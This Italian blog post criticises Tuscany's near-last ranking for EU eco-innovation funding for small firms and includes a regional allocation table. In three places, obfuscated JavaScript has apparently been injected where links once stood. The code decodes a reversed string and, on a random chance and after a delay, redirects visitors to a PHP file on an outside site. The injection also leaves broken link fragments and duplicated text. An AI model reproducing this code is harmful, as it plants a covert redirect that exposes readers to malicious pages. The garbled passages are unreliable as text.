15 dicembre 2018

Eco-incentivi, la Regione Toscana in fondo alla classifica per investimenti. 18a su 20 regioni

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Del processo in corso sull’inquinamento delle città toscane, che vede imputati tra gli altri Leonardo Domenici e Claudio Martini, abbiamo $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and 25 persone per malattie legate all’inquinamento atmosferico. Altri 347 decessi sono prevedibili, a lungo termine, per malattie cardiovascolari, cerebrovascolari, tumori al polmone o dovute a insufficienza respiratoria ».” target=”_blank”>già scritto. In questo contesto appare interessante la ricerca compiuta da Sbilanciamoci! sugli investimenti in innovazioni ambientali delle regioni italiane. La Toscana è quasi ultima, al 18° posto su 20 regioni. Un successo delle politiche ambientali portate avanti dalla giunta regionale, non c’è che dire!

Ci resta solo da ricordare l’impatto che l’assenza di politiche virtuose in campo ambientale ha sulla cittadinanza. Ecco le parole del professor Annibale Biggeri che  ha deposto nell’aula bunker, dov’è in corso il processo: «Ogni anno, dal 2003 al 2006, sono morte a Firenze e nell’hinterland 25 persone per malattie legate all’inquinamento atmosferico. Altri 347 decessi sono prevedibili, a lungo termine, per malattie cardiovascolari, cerebrovascolari, tumori al polmone o dovute a insufficienza respiratoria».

Ecco la ricerca di Sbilanciamoci

di $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andro-Sterlacchini”>Alessandro Sterlacchini per Sbilanciamoci.info

L’innovazione tecnologica al servizio dell’ambiente: una sfida-chiave per la politica economica. Ma in Italia l’interesse pubblico a raccoglierla è ancora scarso

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/03/inquinamento_atmosferico.jpg”>L'inquinamento delle nostre vite
L'inquinamento delle nostre vite

Le innovazioni tecnologiche finalizzate alla tutela dell’ambiente dovrebbero assumere un ruolo chiave nella politica economica di qualsiasi governo. Persino gli economisti più ortodossi riconoscono che, in questi ambiti, il mercato lasciato a se stesso fallisce: le esternalità positive che caratterizzano la produzione di nuove conoscenze danno luogo ad un livello di attività inventive inferiore a quello ottimale, mentre le esternalità negative associate all’inquinamento inducono un eccesso di comportamenti che peggiorano la qualità dell’ambiente. Nel primo caso, le imprese tendono a investire poche risorse (nel timore di dare vantaggio ad altri e, in particolare, ai concorrenti) mentre nel secondo non si preoccupano di ridurre gli impatti ambientali negativi (scaricando sul resto della società i relativi costi). Di conseguenza, non occorre essere iscritti al partito degli economisti eterodossi per sostenere la necessità di un forte intervento pubblico a favore delle cosiddette eco-innovazioni. Tra l’altro, in presenza di una crisi epocale come l’attuale, politiche pubbliche di tale natura favorirebbero anche lo sviluppo di nuovi settori e, quindi, nuove opportunità di investimento e creazione di posti di lavoro.

Il ruolo degli interventi pubblici nella produzione di invenzioni riferite alle energie rinnovabili è stato enfatizzato in un lavoro di Johnstone, Hascic e Popp, pubblicato nel gennaio 2008 (Renewable Energy Policies and Technological Innovation, NBER Working Paper 13760). Gli autori hanno esaminato, per 25 paesi, le domande di brevetto, depositate dal 1978 al 2003 all’Ufficio Europeo dei Brevetti, riguardanti diverse tecnologie riconducibili alle fonti rinnovabili (solare, eolica, geotermica, ecc.) nonché al trattamento dei residui dei processi energetici. Mentre fino al 1995 le domande annuali di brevetto erano circa 140, negli anni successivi sono notevolmente aumentate raggiungendo nel 2003 le 440 unità. L’espansione ha riguardato, in modo particolare, le tecnologie relative alle energie solari ed eoliche e al trattamento dei residui. L’analisi econometrica effettuata dagli autori mostra che tale espansione è stata positivamente influenzata dalle politiche pubbliche adottate, in anni diversi, nei diversi paesi considerati. Emerge inoltre che lo sviluppo delle diverse tecnologie è legato all’impiego di specifici strumenti a sostegno dell’innovazione e della tutela ambientale (contributi pubblici o incentivi fiscali, limitazioni quantitative alle emissioni, ecc.).

L’Italia, come purtroppo era facile attendersi, non esce bene da questa analisi. Considerando il numero annuale di eco-invenzioni per unità di PIL, essa figura al 12° posto tra i 16 paesi dell’Unione Europea che sono stati considerati. Ciò potrebbe dipendere dal fatto che l’Italia, essendo un paese tecnologicamente debole, ricorre comunque poco ai brevetti europei, a prescindere dal tipo di tecnologia. Tuttavia, anche se si guarda alle percentuali di eco-innovazioni sul totale delle domande di brevetto presentate dai diversi paesi, il nostro risulta sempre nelle ultime posizioni. Emblematico, a questo riguardo, è il confronto con la Spagna: leggermente al di sotto in termini di eco-innovazioni sul PIL, essa supera decisamente l’Italia dal punto di vista della quota sulle domande di brevetto europeo (6.7 contro 2.6% ). Va aggiunto che la performance iberica dipende essenzialmente dall’impegno innovativo nel solare e nell’eolico, due ambiti in cui il nostro paese, per la sua posizione geografica, potrebbe beneficiare delle stesse opportunità. Tali risultati indicano chiaramente che il ritardo dell’Italia nelle nuove tecnologie riferite all’ambiente deve essere imputato alla carenza di politiche pubbliche, soprattutto da parte del governo centrale. Tuttavia, anche alle amministrazioni regionali va attribuita una parte di responsabilità.

Per una prima valutazione dell’impegno profuso dalle regioni italiane nel campo delle eco-innovazioni ho esaminato i Piani Operativi Regionali (POR) per il Fondo Europeo di Sviluppo Regionale (FESR) relativi al periodo 2007-2013 e approvati dalla Commissione Europea nel 2007. Tra le varie categorie di spesa che, in qualche modo, riguardano la tecnologia, l’energia e l’ambiente ne ho scelto una molto specifica, ma che ha il vantaggio di coniugare in modo chiaro l’obiettivo dell’innovazione tecnologica con quello della tutela ambientale. Ho quindi esaminato gli stanziamenti per il “Sostegno alle PMI per la promozione di prodotti e processi rispettosi dell’ambiente” (un regime di aiuto alle imprese che la Commissione Europea ha inserito tra i temi prioritari riferiti a “ricerca e innovazione”). Tale tipologia di intervento risulta, a mio avviso, di particolare interesse per il nostro paese in quanto, oltre a legare innovazione e ambiente, identifica nelle piccole e medie imprese gli agenti del cambiamento.

La tabella mostra che, su 30 miliardi e mezzo di euro complessivamente attivati dalle regioni italiane per il FESR, solo il 3.6% è stato stanziato a favore delle innovazioni ambientali nelle PMI. Tuttavia, non tutte le regioni italiane hanno sottovalutato l’importanza di tali incentivi. Puglia e Piemonte in modo particolare, seguite da Abruzzo, Molise, Lazio e Provincia di Trento, si distinguono dalle altre regioni per aver destinato alle eco-innovazioni una percentuale superiore alla media nazionale.

La Puglia ha stanziato a questo fine quasi il 10% dei fondi FESR. Come indica il POR della Regione Puglia (pag. 209) “Tra i regimi di aiuto, in un’ottica di sostenibilità dello sviluppo, particolare rilievo sarà dato agli incentivi a finalità ambientale, diretti a incrementare la diffusione della certificazione ambientale e delle tecnologie a minore impatto ambientale, l’utilizzo efficiente dell’energia, la realizzazione di azioni di prevenzione, di mitigazione e recupero dell’inquinamento da attività produttive”.

A seguire c’è il Piemonte che ha destinato circa il 7% dei fondi FESR in due principali direzioni. La prima è quella di promuovere le eco-innovazioni nelle PMI incentivando le attività di ricerca e sviluppo rivolte all’ideazione e sperimentazione di macchinari, processi e procedure in grado di minimizzare l’impatto ambientale. La seconda consiste nel favorire l’adozione di beni strumentali, procedure e processi per limitare le esternalità negative nei confronti dell’ambiente.

Da questi brevi riferimenti, si evince che gli interventi incentivano, in modo più o meno marcato, sia l’offerta che la domanda di eco-innovazioni da parte delle PMI. Come sottolineato nel POR Piemonte (pag. 67), “gli investimenti in tecnologie pulite costituiscono un fattore di crescita competitiva del sistema economico, considerata la prospettiva di uno sviluppo del mercato dei beni e servizi relativi a tale ambito”. Tali investimenti, ovviamente costosi, vanno quindi concepiti come opportunità per favorire la nascita di nuove imprese, la riconversione di quelle esistenti e, quindi, la creazione e/o il mantenimento di posti di lavoro.

Ai fini di una corretta interpretazione di questa particolare “classifica” delle regioni italiane, è opportuno introdurre qualche chiarificazione. In primo luogo, le cifre su cui si basa indicano impegni di spesa che non necessariamente corrisponderanno ad uscite effettive. Inoltre, alcune regioni potrebbero aver modificato i POR in corso d’opera (quelli che ho esaminato sono stati predisposti nel 2007). Infine, le regioni con scarsi stanziamenti per le eco-innovazioni potrebbero aver privilegiato altri interventi a favore dell’ambiente, del risparmio energetico e delle fonti rinnovabili. Quello che è certo, però, è che non hanno dato sufficiente peso all’obiettivo di coniugare le attività innovative delle imprese con lo sviluppo e l’adozione di prodotti e processi a basso impatto ambientale. Un obiettivo che, alla luce dell’analisi economica, dell’esperienza di altri paesi e delle attuali condizioni economiche e ambientali, dovrebbe assumere maggiore rilevanza.

Sostegno alle PMI per la promozione di prodotti e processi rispettosi dell’ambiente

Stanziamenti in valore assoluto (milioni di euro) Totale risorse FESR 2007-2010 (milioni di euro) Stanziamenti in valore percentuale
Puglia 520.0 5238 9.93
Piemonte 74.7 1077 6.94
Abruzzo 17.3 345 5.00
Molise 9.5 193 4.93
Lazio 35.0 744 4.71
Provincia di Trento 3.0 64 4.67
Veneto 15.5 453 3.41
Umbria 10.4 348 3.00
Sardegna 41.5 1702 2.44
Sicilia 152.4 6540 2.33
Liguria 11.0 530 2.07
Lombardia 10.0 532 1.89
Campania 120.1 6865 1.75
Marche 5.0 289 1.73
Emilia Romagna 6.0 347 1.72
Calabria 46.5 2998 1.55
Basilicata 9.0 752 1.20
Toscana 10.1 1127 0.90
Valle d’Aosta 0.2 49 0.41
Friuli Venezia Giulia 0.0 303 0.00
TOTALE 1097.2 30496 3.60

Fonti: Piani Operativi Regionali FESR 2007-2010 (approvati dalla Commissione Europea nel 2007)

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